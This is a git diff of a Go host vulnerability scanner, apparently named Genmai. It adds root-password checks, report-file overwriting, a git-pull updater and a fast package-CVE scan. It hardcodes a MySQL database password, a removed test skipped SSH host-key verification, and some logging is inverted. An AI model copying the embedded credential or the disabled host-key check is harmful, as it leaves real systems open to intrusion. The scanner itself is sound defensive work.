"更新程序到最新版本,不可联合其他参数使用")
|
||||
|
@ -149,6 +154,9 @@ func main(){
|
|||
//flag解析
|
||||
flag.Parse()
|
||||
|
||||
//Use the root password to perform higher authority detection
|
||||
genmai.DoctorIns().SetPasswd(args.RootPasswd)
|
||||
|
||||
//将插件模块的值存放到数组中
|
||||
//PWDList :=[...]string{WKV.CompanyName,WKV.Name,WKV.Nums}
|
||||
//poolNums := strconv.Itoa(args.ParserNum)
|
||||
|
@ -179,6 +187,7 @@ func main(){
|
|||
args.Kernel=="false" &&
|
||||
args.Web=="false" &&
|
||||
args.BaseLine=="false" &&
|
||||
args.FastScan=="false" &&
|
||||
args.Update!="true" &&
|
||||
sAll!="true" &&
|
||||
help!="true" ) {
|
||||
|
@ -218,6 +227,7 @@ func emmit(args Args, RAV RAVUL, WKV WKPWDVUL, FC FofaCommand) {
|
|||
RemoteMap["system"]= args.System
|
||||
RemoteMap["kernel"]= args.Kernel
|
||||
RemoteMap["baseline"]= args.BaseLine
|
||||
RemoteMap["RootPasswd"]= args.RootPasswd
|
||||
|
||||
genmaiRemote(RemoteMap)
|
||||
}else{
|
||||
|
@ -278,10 +288,12 @@ func emmit(args Args, RAV RAVUL, WKV WKPWDVUL, FC FofaCommand) {
|
|||
if ("true" == args.Fofa) {
|
||||
genmaiFofaApi(args.Fofa,FC.FofaCom)
|
||||
}
|
||||
|
||||
if ("true" == args.FastScan) {
|
||||
genmaiSystemFastScan(args.FastScan)
|
||||
}
|
||||
if ("true" == args.Update){
|
||||
Update()
|
||||
}
|
||||
|
||||
} // if args.RemoteAssessment=="true" ... else ...
|
||||
}
|
||||
|
@ -295,13 +307,26 @@ func
|
|||
genmaiSystem(args Args) {
|
||||
createfile_fun := func (rp *genmai.ReportSystem,
|
||||
fileName string ) {
|
||||
|
||||
path:="../data/Report/"+"system_"+fileName+".json"
|
||||
Bool ,err:=PathExists(path)
|
||||
if err != nil {
|
||||
fmt.Println(err)
|
||||
return
|
||||
}
|
||||
if Bool==true {
|
||||
err := os.Remove(path)
|
||||
if err != nil {
|
||||
log.Println("File overwritten successfully")
|
||||
} else {
|
||||
log.Println("File overwrite failed")
|
||||
}
|
||||
}
|
||||
file, err := os.OpenFile(path, os.O_WRONLY|os.O_CREATE|os.O_APPEND, 0666)
|
||||
if err != nil {
|
||||
fmt.Println("open file failed,err:",err)
|
||||
return
|
||||
}
|
||||
|
||||
defer file.Close()
|
||||
jsonVul, err := json.MarshalIndent(rp, "", " ")
|
||||
if err != nil {
|
||||
|
@ -318,6 +343,9 @@ genmaiSystem(args Args) {
|
|||
rp := genmai.DoctorIns().GenmaiSystem()
|
||||
if len(rp.RCExploredVulns)==0{
|
||||
fmt.Println("System info: No vulnerability")
|
||||
if jout !="null"{
|
||||
createfile_fun(rp,jout)
|
||||
}
|
||||
}else if jout !="null"{
|
||||
createfile_fun(rp,jout)
|
||||
}
|
||||
|
@ -339,28 +367,49 @@ genmaiSystem(args Args) {
|
|||
|
||||
func
|
||||
genmaiKernel(args Args) {
|
||||
// createfile_fun := func (rp *genmai.ReportKernel,fileName string) {
|
||||
// path:="../data/Report/"+"sernel_:"+fileName+".json"
|
||||
// file, err := os.OpenFile(path, os.O_WRONLY|os.O_CREATE|os.O_APPEND, 0666)
|
||||
// if err != nil {
|
||||
// fmt.Println("open file failed,err:",err)
|
||||
// return
|
||||
// }
|
||||
//
|
||||
// defer file.Close()
|
||||
// jsonVul, err := json.MarshalIndent(rp, "", " ")
|
||||
// if err != nil {
|
||||
// fmt.Println("json err ", err)
|
||||
// }
|
||||
// file.Write([]byte(jsonVul)) //写入字节切片数据
|
||||
// }
|
||||
createfile_fun := func (rp *genmai.ReportKernel,fileName string) {
|
||||
path:="../data/Report/"+"kernel_"+fileName+".json"
|
||||
Bool ,err:=PathExists(path)
|
||||
if err != nil {
|
||||
fmt.Println(err)
|
||||
return
|
||||
}
|
||||
if Bool==true {
|
||||
err := os.Remove(path)
|
||||
if err != nil {
|
||||
log.Println("File overwritten successfully")
|
||||
} else {
|
||||
log.Println("File overwrite failed")
|
||||
}
|
||||
}
|
||||
file, err := os.OpenFile(path, os.O_WRONLY|os.O_CREATE|os.O_APPEND, 0666)
|
||||
if err != nil {
|
||||
fmt.Println("open file failed,err:",err)
|
||||
return
|
||||
}
|
||||
|
||||
defer file.Close()
|
||||
jsonVul, err := json.MarshalIndent(rp, "", " ")
|
||||
if err != nil {
|
||||
fmt.Println("json err ", err)
|
||||
}
|
||||
file.Write([]byte(jsonVul)) //写入字节切片数据
|
||||
}
|
||||
|
||||
fun := func (jout string) {
|
||||
genmai.DoctorIns().Reset()
|
||||
genmai.DoctorIns().LoadExplorersListConfig("../data/KernelPocs/KernelPocs.yaml")
|
||||
|
||||
genmai.A_DEBUG_INFO(">>Genmai Kernel>>")
|
||||
genmai.DoctorIns().GenmaiKernel()
|
||||
rp := genmai.DoctorIns().GenmaiKernel()
|
||||
if len(rp.RCExploredVulns)==0{
|
||||
fmt.Println("Kernel info: No vulnerability")
|
||||
if jout !="null"{
|
||||
createfile_fun(rp,jout)
|
||||
}
|
||||
}else if jout !="null"{
|
||||
createfile_fun(rp,jout)
|
||||
}
|
||||
}
|
||||
|
||||
if args.Kernel=="All" || args.Kernel=="all"{
|
||||
|
@ -403,11 +452,23 @@ genmaiWeb(args Args) {
|
|||
}
|
||||
}
|
||||
}
|
||||
|
||||
func
|
||||
genmaiBaseLine(args Args) {
|
||||
createfile_fun := func (rp *genmai.ReportBaseLine, fileName string){
|
||||
path:="../data/Report/"+"baseline_"+fileName+".json"
|
||||
Bool ,err:=PathExists(path)
|
||||
if err != nil {
|
||||
fmt.Println(err)
|
||||
return
|
||||
}
|
||||
if Bool==true {
|
||||
err := os.Remove(path)
|
||||
if err != nil {
|
||||
log.Println("File overwritten successfully")
|
||||
} else {
|
||||
log.Println("File overwrite failed")
|
||||
}
|
||||
}
|
||||
file, err := os.OpenFile(path, os.O_WRONLY|os.O_CREATE|os.O_APPEND, 0666)
|
||||
if err != nil {
|
||||
fmt.Println("open file failed,err:",err)
|
||||
|
@ -430,6 +491,9 @@ genmaiBaseLine(args Args) {
|
|||
rp:=genmai.DoctorIns().GenmaiBaseline()
|
||||
if len(rp.RCExploredVulns)==0{
|
||||
fmt.Println("BaseLine info: No vulnerability")
|
||||
if jout !="null"{
|
||||
createfile_fun(rp,jout)
|
||||
}
|
||||
}else if jout !="null"{
|
||||
createfile_fun(rp,jout)
|
||||
}
|
||||
|
@ -448,7 +512,18 @@ genmaiBaseLine(args Args) {
|
|||
}
|
||||
}
|
||||
}
|
||||
|
||||
//文件检测是否存在
|
||||
func PathExists(path string)(bool,error){
|
||||
_,err := os.Stat(path)
|
||||
if err == nil{
|
||||
return true,nil
|
||||
}
|
||||
//isnotexist来判断,是不是不存在的错误
|
||||
if os.IsNotExist(err){ //如果返回的错误类型使用os.isNotExist()判断为true,说明文件或者文件夹不存在
|
||||
return false,nil
|
||||
}
|
||||
return false,err//如果有错误了,但是不是不存在的错误,所以把这个错误原封不动的返回
|
||||
}
|
||||
//远程参数解析
|
||||
func genmaiRemote(oldRemoteMap interface{})(){
|
||||
RemoteMap:=oldRemoteMap.(map[string]string)
|
||||
|
@ -475,7 +550,8 @@ func genmaiRemote(oldRemoteMap interface{})(){
|
|||
if RemoteMap["baseline"]=="all" || RemoteMap["baseline"]=="All"{
|
||||
RemoteArg =append(RemoteArg,"baseline")
|
||||
}
|
||||
RemoteCheck.RemoteScan(Host,PortInt,User,Password,RemoteArg)
|
||||
RootPasswd:=RemoteMap["RootPasswd"]
|
||||
RemoteCheck.RemoteScan(Host,PortInt,User,Password,RemoteArg,RootPasswd)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
@ -596,6 +672,35 @@ genmaiSystemFastScan(scan string) {
|
|||
|
||||
return
|
||||
}
|
||||
func Update(){
|
||||
currentDir, err:= os.Getwd()
|
||||
if err != nil {
|
||||
panic(err)
|
||||
} else {
|
||||
}
|
||||
currentDir=currentDir+"/../"
|
||||
os.Chdir(currentDir)
|
||||
|
||||
currentDir, err = os.Getwd()
|
||||
if err != nil {
|
||||
panic(err)
|
||||
} else {
|
||||
cmd := exec.Command("git","pull")
|
||||
var stdout, stderr bytes.Buffer
|
||||
cmd.Stdout = &stdout // 标准输出
|
||||
cmd.Stderr = &stderr // 标准错误
|
||||
err := cmd.Run()
|
||||
outStr, errStr := string(stdout.Bytes()), string(stderr.Bytes())
|
||||
if len(errStr)!=0{
|
||||
fmt.Printf(errStr)
|
||||
}
|
||||
outStr=strings.TrimSpace(outStr)
|
||||
if err != nil {
|
||||
fmt.Println("Updte Err:", err)
|
||||
}
|
||||
fmt.Println(outStr)
|
||||
}
|
||||
|
||||
}
|
||||
// genmai plug-in modules
|
||||
////////////////////////////////////////////////////////////////
|
||||
|
|
186
src/test.go
186
src/test.go
|
@ -1,165 +1,41 @@
|
|||
package main
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"github.com/pkg/sftp"
|
||||
"golang.org/x/crypto/ssh"
|
||||
"io/ioutil"
|
||||
"net"
|
||||
"os"
|
||||
"path"
|
||||
"path/filepath"
|
||||
"time"
|
||||
"fmt"
|
||||
"time"
|
||||
)
|
||||
|
||||
type currentDirInfo struct {
|
||||
currentDirs []string
|
||||
currentFiles []string
|
||||
}
|
||||
|
||||
func getCurrentDir(path string) (currentDirInfo, error) {
|
||||
infos, err := ioutil.ReadDir(path)
|
||||
if err != nil {
|
||||
return currentDirInfo{}, nil
|
||||
}
|
||||
var currentDirs []string
|
||||
var currentFiles []string
|
||||
for _, info := range infos {
|
||||
fmt.Printf("Name:%-30s Size:%-10d字节 Modtime:%s IsDir:%v\n", info.Name(), info.Size(), info.ModTime().Format("2006-01-02 03:04:05"), info.IsDir())
|
||||
abs, err := filepath.Abs(info.Name())
|
||||
if err != nil {
|
||||
return currentDirInfo{}, nil
|
||||
}
|
||||
if info.IsDir() {
|
||||
currentDirs = append(currentDirs, abs)
|
||||
} else {
|
||||
currentFiles = append(currentFiles, abs)
|
||||
}
|
||||
}
|
||||
fmt.Printf("=======================当前文件夹==============================\n")
|
||||
for _, v := range currentDirs {
|
||||
fmt.Printf("当前文件夹:%s\n", v)
|
||||
}
|
||||
fmt.Printf("========================当前文件=============================\n")
|
||||
for _, v := range currentFiles {
|
||||
fmt.Printf("当前文件:%s\n", v)
|
||||
}
|
||||
|
||||
return currentDirInfo{currentDirs: currentDirs, currentFiles: currentFiles}, nil
|
||||
}
|
||||
|
||||
func hostKeyCallback(hostname string, remote net.Addr, key ssh.PublicKey) error {
|
||||
return nil
|
||||
|
||||
}
|
||||
|
||||
//获取一个STFP客户端连接
|
||||
func connect(user, password, host string, port int) (*sftp.Client, error) {
|
||||
|
||||
auth := []ssh.AuthMethod{ssh.Password(password)}
|
||||
|
||||
config := &ssh.ClientConfig{
|
||||
User: user,
|
||||
Auth: auth,
|
||||
Timeout: 30 * time.Second,
|
||||
HostKeyCallback: hostKeyCallback,
|
||||
}
|
||||
|
||||
// connect to ssh
|
||||
addr := fmt.Sprintf("%s:%d", host, port)
|
||||
client, err := ssh.Dial("tcp", addr, config)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
// create sftp client
|
||||
sftpClient, err := sftp.NewClient(client)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
fmt.Printf("连接%s@%s:%d成功!\n", user, host, port)
|
||||
return sftpClient, nil
|
||||
}
|
||||
|
||||
//上传文件
|
||||
func uploadFile(sftpClient *sftp.Client, localFilename string, remotePath string, ch chan string) {
|
||||
|
||||
file, err := os.Open(localFilename)
|
||||
if err != nil {
|
||||
ch <- fmt.Sprintf("上传失败, path:%s, err:%s", filepath.Base(localFilename), err)
|
||||
|
||||
}
|
||||
defer func(srcFile *os.File) {
|
||||
err := srcFile.Close()
|
||||
if err != nil {
|
||||
}
|
||||
}(file)
|
||||
|
||||
var remoteFileName = path.Join(remotePath, filepath.Base(localFilename))
|
||||
err = sftpClient.MkdirAll(remotePath)
|
||||
if err != nil {
|
||||
ch <- fmt.Sprintf("上传失败, path:%s, err:%s", filepath.Base(localFilename), err)
|
||||
return
|
||||
}
|
||||
|
||||
dstFile, err := sftpClient.Create(remoteFileName)
|
||||
if err != nil {
|
||||
ch <- fmt.Sprintf("上传失败, path:%s, err:%s", filepath.Base(localFilename), err)
|
||||
return
|
||||
|
||||
}
|
||||
defer func(dstFile *sftp.File) {
|
||||
err := dstFile.Close()
|
||||
if err != nil {
|
||||
|
||||
}
|
||||
}(dstFile)
|
||||
|
||||
ff, err := ioutil.ReadAll(file)
|
||||
if err != nil {
|
||||
ch <- fmt.Sprintf("上传失败, path:%s, err:%s", filepath.Base(localFilename), err)
|
||||
return
|
||||
}
|
||||
_, err = dstFile.Write(ff)
|
||||
if err != nil {
|
||||
ch <- fmt.Sprintf("上传失败, path:%s, err:%s", filepath.Base(localFilename), err)
|
||||
return
|
||||
}
|
||||
|
||||
ch <- fmt.Sprintf("上传文件成功, 保存到:%s\n", remoteFileName)
|
||||
}
|
||||
func main() {
|
||||
user := "root"
|
||||
password := ""
|
||||
host := "127.0.0.1"
|
||||
port := 22
|
||||
remoteFilePath := "/home/tmp"
|
||||
// 进度条长度
|
||||
barLength := 50
|
||||
|
||||
info, err := getCurrentDir(".")
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
currentFiles := info.currentFiles
|
||||
currentDirs := info.currentDirs
|
||||
fmt.Println(currentDirs,currentFiles)
|
||||
client, err := connect(user, password, host, port)
|
||||
if err != nil {
|
||||
fmt.Println(fmt.Sprintf("连接%s:%d失败, err:%s", host, port, err))
|
||||
return
|
||||
}
|
||||
// 循环打印进度条
|
||||
for i := 0; i <= barLength; i++ {
|
||||
// 计算进度条百分比
|
||||
percent := i * 100 / barLength
|
||||
|
||||
var chs = make(chan string, len(currentFiles))
|
||||
for _, file := range currentFiles {
|
||||
fmt.Println(file)
|
||||
go uploadFile(client, file, remoteFilePath, chs)
|
||||
}
|
||||
count := 0
|
||||
for c := range chs {
|
||||
count++
|
||||
fmt.Printf("上传情况:%s\n", c)
|
||||
if count == len(currentFiles) {
|
||||
return
|
||||
}
|
||||
}
|
||||
// 计算已完成和未完成进度条的长度
|
||||
completedLength := i
|
||||
uncompletedLength := barLength - i
|
||||
|
||||
// 使用ANSI转义序列清空当前行
|
||||
fmt.Print("\r\x1b[K")
|
||||
|
||||
// 输出进度条
|
||||
fmt.Printf("[%s%s] %d%%", getBar(completedLength), getBar(uncompletedLength), percent)
|
||||
|
||||
// 等待一段时间
|
||||
time.Sleep(time.Millisecond * 100)
|
||||
}
|
||||
|
||||
fmt.Println()
|
||||
}
|
||||
|
||||
// getBar 返回指定长度的进度条字符串
|
||||
func getBar(length int) string {
|
||||
bar := ""
|
||||
for i := 0; i < length; i++ {
|
||||
bar += "="
|
||||
}
|
||||
return bar
|
||||
}
|
|
@ -11,13 +11,14 @@ import (
|
|||
"os/exec"
|
||||
"strconv"
|
||||
"regexp"
|
||||
"time"
|
||||
// "reflect"
|
||||
)
|
||||
|
||||
var (
|
||||
dbhostsip = "172.17.20.121:3306"
|
||||
dbusername = "root"
|
||||
dbpassword = ""
|
||||
dbpassword = "Kylin123-"
|
||||
dbname = "kylincve"
|
||||
)
|
||||
|
||||
|
@ -34,6 +35,11 @@ var (
|
|||
version0 = 0
|
||||
version1 = 1
|
||||
version2 = 2
|
||||
VbNums = 0
|
||||
VbLevel_hight = 0
|
||||
VbLevel_mid = 0
|
||||
VbLevel_low = 0
|
||||
VbLevel_ignore =0
|
||||
)
|
||||
func StringStrip(str string) int {
|
||||
if str == "" {
|
||||
|
@ -155,7 +161,9 @@ func fastScan(dpkgInfo []string){
|
|||
stmt, err := db.Prepare(sqlStr)
|
||||
checkerr(err)
|
||||
defer stmt.Close()
|
||||
for i:=0;i<len(dpkgInfo);i++{
|
||||
for i:=0;i<=len(dpkgInfo)-1;i++{
|
||||
barLength := len(dpkgInfo)-1
|
||||
ProgressBar(barLength,i)
|
||||
if i & 1 == 0 {
|
||||
rows, err := stmt.Query(dpkgInfo[i])
|
||||
checkerr(err)
|
||||
|
@ -166,13 +174,33 @@ func fastScan(dpkgInfo []string){
|
|||
dpkgInfoStr:=dpkgInfo[i+1]
|
||||
result:=PushCompareVersion(s.cve_no,dpkgInfoStr,s.ubuntu_v10_1_edition)
|
||||
if result==2{
|
||||
FastScanResult:="ID:"+s.cve_no+" level:"+s.package_name+" Role:"+s.role_level+" Security_Version:"+s.ubuntu_v10_1_edition+" Current_Version:"+dpkgInfoStr
|
||||
fmt.Printf("%c[%d;%d;%dm%s%c[0m\n", 0x1B, 0, 0, 32, FastScanResult, 0x1B)
|
||||
// FastScanResult:="ID:"+s.cve_no+" level:"+s.package_name+" Role:"+s.role_level+" Security_Version:"+s.ubuntu_v10_1_edition+" Current_Version:"+dpkgInfoStr
|
||||
// fmt.Printf("%c[%d;%d;%dm%s%c[0m\n", 0x1B, 0, 0, 32, FastScanResult, 0x1B)
|
||||
VbNums = VbNums+1
|
||||
if s.package_name == "高危"{
|
||||
VbLevel_hight = VbLevel_hight + 1
|
||||
}
|
||||
if s.package_name == "中危"{
|
||||
VbLevel_mid = VbLevel_mid + 1
|
||||
}
|
||||
if s.package_name == "低危"{
|
||||
VbLevel_low = VbLevel_low + 1
|
||||
}
|
||||
if s.package_name == "已忽略"{
|
||||
VbLevel_ignore = VbLevel_ignore + 1
|
||||
}
|
||||
}
|
||||
}
|
||||
rows.Close()
|
||||
}
|
||||
}
|
||||
fmt.Println()
|
||||
fmt.Printf("%c[%d;%d;%dm%s%c[0m\n", 0x1B, 0, 0, 33,"=====================Scan Results======================\n" , 0x1B)
|
||||
fmt.Println("共计漏洞:",VbNums)
|
||||
fmt.Println("高危漏洞:",VbLevel_hight)
|
||||
fmt.Println("中危漏洞:",VbLevel_mid)
|
||||
fmt.Println("低危漏洞:",VbLevel_low)
|
||||
fmt.Println("忽略漏洞:",VbLevel_ignore)
|
||||
}
|
||||
|
||||
|
||||
|
@ -215,4 +243,22 @@ func GetdpkgInfo(){
|
|||
dpkgInfo = append(dpkgInfo[5:])
|
||||
fastScan(dpkgInfo)
|
||||
|
||||
}
|
||||
}
|
||||
func ProgressBar(barLength int ,i int){
|
||||
|
||||
// 计算进度条百分比
|
||||
percent := i * 100 / barLength
|
||||
fmt.Print("\r\x1b[K")
|
||||
// 输出进度条
|
||||
fmt.Printf("[%s%s] %d%%", getBar(20), getBar(20), percent)
|
||||
// 等待一段时间
|
||||
time.Sleep(time.Millisecond * 100)
|
||||
}
|
||||
// getBar 返回指定长度的进度条字符串
|
||||
func getBar(length int) string {
|
||||
bar := ""
|
||||
for i := 0; i < length; i++ {
|
||||
bar += "="
|
||||
}
|
||||
return bar
|
||||
}
|
||||
|
|
Loading…
Reference in New Issue